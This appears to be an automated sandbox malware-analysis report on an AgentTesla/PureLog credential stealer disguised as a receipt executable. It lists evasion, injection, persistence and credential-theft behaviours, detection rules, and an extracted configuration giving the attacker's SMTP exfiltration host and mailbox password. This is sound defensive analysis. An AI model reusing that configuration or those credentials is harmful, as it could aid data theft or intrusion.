Edit tour

Windows Analysis Report
Receipt_7814002.exe

Overview

General Information

Sample name:	Receipt_7814002.exe
Analysis ID:	1429041
MD5:	67f9e0f23980b5d10af7a7eb8859fab2
SHA1:	114f660769c6b79673ce56fbc5effa50a59338fd
SHA256:	2f539731282a936700c6c4797ea84beba6dd863761f607e22b32b1b67f66b09e
Tags:	AgentTeslaexe
Infos:

Detection

AgentTesla, PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected PureLog Stealer

.NET source code contains potential unpacker

Contains functionality to log keystrokes (.Net Source)

Downloads files with wrong headers with respect to MIME Content-Type

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Outbound SMTP Connections

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Receipt_7814002.exe (PID: 6112 cmdline: "C:\Users\user\Desktop\Receipt_7814002.exe" MD5: 67F9E0F23980B5D10AF7A7EB8859FAB2)

Receipt_7814002.exe (PID: 1480 cmdline: "C:\Users\user\Desktop\Receipt_7814002.exe" MD5: 67F9E0F23980B5D10AF7A7EB8859FAB2)

daqfbrlrs.exe (PID: 3440 cmdline: "C:\Users\user\AppData\Roaming\daqfbrlrs.exe" MD5: 67F9E0F23980B5D10AF7A7EB8859FAB2)

daqfbrlrs.exe (PID: 3716 cmdline: "C:\Users\user\AppData\Roaming\daqfbrlrs.exe" MD5: 67F9E0F23980B5D10AF7A7EB8859FAB2)

daqfbrlrs.exe (PID: 6772 cmdline: "C:\Users\user\AppData\Roaming\daqfbrlrs.exe" MD5: 67F9E0F23980B5D10AF7A7EB8859FAB2)

daqfbrlrs.exe (PID: 4580 cmdline: "C:\Users\user\AppData\Roaming\daqfbrlrs.exe" MD5: 67F9E0F23980B5D10AF7A7EB8859FAB2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "66.29.151.236", "Username": "senderhelpdesk@coleoffice.shop", "Password": "hpJvOH%*JutO"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2883800610.0000000006BD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.3236721251.00000000029B4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.3237092657.0000000002654000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2883800610.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000007.00000002.3237092657.000000000264C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.3236721251.00000000029AC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.3237092657.0000000002621000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.3237092657.0000000002621000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.3238307456.0000000003237000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.3238307456.0000000003211000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3238307456.0000000003211000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2373984396.0000000006260000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2364465182.0000000004C97000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2364465182.0000000004C97000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2974997993.0000000006DD1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.3236721251.0000000002981000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.3236721251.0000000002981000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2974997993.0000000006D31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2369700519.0000000005CC0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000005.00000002.2874971771.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2874971771.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2364465182.000000000492B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2374923568.0000000006C11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2374923568.0000000006C11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2374923568.0000000006C11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2364465182.0000000004229000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: Receipt_7814002.exe PID: 6112	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Receipt_7814002.exe PID: 6112	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Receipt_7814002.exe PID: 6112	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Receipt_7814002.exe PID: 6112	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: Receipt_7814002.exe PID: 1480	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Receipt_7814002.exe PID: 1480	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: daqfbrlrs.exe PID: 3440	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: daqfbrlrs.exe PID: 3440	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: daqfbrlrs.exe PID: 3440	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: daqfbrlrs.exe PID: 3440	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: daqfbrlrs.exe PID: 6772	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: daqfbrlrs.exe PID: 6772	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: daqfbrlrs.exe PID: 6772	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: daqfbrlrs.exe PID: 6772	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: daqfbrlrs.exe PID: 3716	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: daqfbrlrs.exe PID: 3716	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: daqfbrlrs.exe PID: 4580	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: daqfbrlrs.exe PID: 4580	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 47 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.daqfbrlrs.exe.2efdaec.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.daqfbrlrs.exe.2efdaec.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.daqfbrlrs.exe.2efdaec.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x44715:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x44787:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x44811:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x448a3:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4490d:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4497f:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x44a15:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x44aa5:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.daqfbrlrs.exe.2efdaec.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.daqfbrlrs.exe.2efdaec.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
5.2.daqfbrlrs.exe.2efdaec.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x42915:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x42987:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x42a11:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x42aa3:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x42b0d:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x42b7f:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x42c15:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x42ca5:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
3.2.Receipt_7814002.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334e5:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33557:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335e1:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33673:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336dd:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3374f:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337e5:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33875:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
6.2.daqfbrlrs.exe.332b8c0.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.daqfbrlrs.exe.332b8c0.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.daqfbrlrs.exe.332b8c0.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x42915:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x42987:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x42a11:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x42aa3:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x42b0d:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x42b7f:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x42c15:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x42ca5:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Receipt_7814002.exe.4cac770.10.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Receipt_7814002.exe.4cac770.10.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Receipt_7814002.exe.4cac770.10.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316e5:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x31757:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317e1:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31873:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318dd:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3194f:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319e5:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a75:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Receipt_7814002.exe.4cac770.10.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Receipt_7814002.exe.4cac770.10.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Receipt_7814002.exe.4cac770.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334e5:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33557:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335e1:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33673:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336dd:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3374f:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337e5:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33875:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
6.2.daqfbrlrs.exe.332b8c0.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.daqfbrlrs.exe.332b8c0.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.daqfbrlrs.exe.332b8c0.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x44715:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x44787:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x44811:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x448a3:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4490d:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4497f:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x44a15:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x44aa5:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Receipt_7814002.exe.317c100.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Receipt_7814002.exe.317c100.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Receipt_7814002.exe.317c100.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3e439:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3e4ab:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3e535:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3e5c7:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3e631:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3e6a3:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3e739:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3e7c9:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Receipt_7814002.exe.315d874.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Receipt_7814002.exe.315d874.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Receipt_7814002.exe.315d874.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x5ccc5:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x5cd37:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x5cdc1:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x5ce53:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x5cebd:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x5cf2f:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x5cfc5:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x5d055:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Receipt_7814002.exe.6c61038.17.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Receipt_7814002.exe.6260000.13.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Receipt_7814002.exe.4453218.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Receipt_7814002.exe.447b238.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
6.2.daqfbrlrs.exe.32d5860.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
6.2.daqfbrlrs.exe.32d5860.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
6.2.daqfbrlrs.exe.32d5860.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x9a775:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x9a7e7:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x9a871:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x9a903:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x9a96d:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x9a9df:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x9aa75:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x9ab05:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Receipt_7814002.exe.5cc0000.12.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Receipt_7814002.exe.5cc0000.12.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Receipt_7814002.exe.492b2b8.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Receipt_7814002.exe.492b2b8.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Receipt_7814002.exe.3107a74.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Receipt_7814002.exe.3107a74.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Receipt_7814002.exe.3107a74.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0xb2ac5:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xb2b37:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xb2bc1:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xb2c53:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xb2cbd:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xb2d2f:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xb2dc5:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xb2e55:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.Receipt_7814002.exe.44cb258.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Receipt_7814002.exe.4453218.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Receipt_7814002.exe.44cb258.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.Receipt_7814002.exe.447b238.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 38 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\daqfbrlrs.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Receipt_7814002.exe, ProcessId: 6112, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\daqfbrlrs

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 66.29.151.236, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\Receipt_7814002.exe, Initiated: true, ProcessId: 1480, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49717

Snort Signatures

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.5 - Destination IP: 66.29.151.236

Timestamp:	04/20/24-10:23:34.344247
SID:	2030171
Source Port:	49717
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.5 - Destination IP: 66.29.151.236

Timestamp:	04/20/24-10:23:34.344316
SID:	2840032
Source Port:	49717
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.5 - Destination IP: 66.29.151.236

Timestamp:	04/20/24-10:23:34.344316
SID:	2855542
Source Port:	49717
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Exfil via SMTP - Source IP: 192.168.2.5 - Destination IP: 66.29.151.236

Timestamp:	04/20/24-10:23:34.344316
SID:	2855245
Source Port:	49717
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 66.29.151.236

Timestamp:	04/20/24-10:23:34.344316
SID:	2851779
Source Port:	49717
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.Receipt_7814002.exe.4cac770.10.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "66.29.151.236", "Username": "senderhelpdesk@coleoffice.shop", "Password": "hpJvOH%*JutO"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Virustotal: Detection: 40%			Perma Link

Multi AV Scanner detection for submitted file

Source: Receipt_7814002.exe	ReversingLabs: Detection: 42%
Source: Receipt_7814002.exe	Virustotal: Detection: 40%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Receipt_7814002.exe

Joe Sandbox ML: detected

Source: Receipt_7814002.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49724 version: TLS 1.2

Source: Receipt_7814002.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004C14000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004B5C000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374384643.00000000062F0000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp
